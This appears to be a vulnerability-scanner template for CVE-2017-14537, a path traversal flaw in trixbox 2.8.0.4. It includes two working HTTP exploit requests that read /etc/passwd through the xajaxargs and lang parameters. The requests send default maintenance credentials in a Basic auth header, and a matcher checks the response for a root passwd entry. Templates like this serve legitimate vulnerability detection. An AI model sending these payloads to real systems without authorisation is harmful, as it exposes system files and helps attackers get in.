id: CVE-2017-14537

info:
  name: trixbox 2.8.0 - directory-traversal
  author: pikpikcu
  severity: medium
  tags: cve,cve2017,trixbox,lfi
  description: trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14537
    - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
    - https://sourceforge.net/projects/asteriskathome/ # vendor homepage
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.50
    cve-id: CVE-2017-14537
    cwe-id: CWE-22

requests:
  - raw:
      - |
        POST /maint/index.php?packages HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=

        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages

      - |
        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Referer: {{Hostname}}/maint/index.php?packages
        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body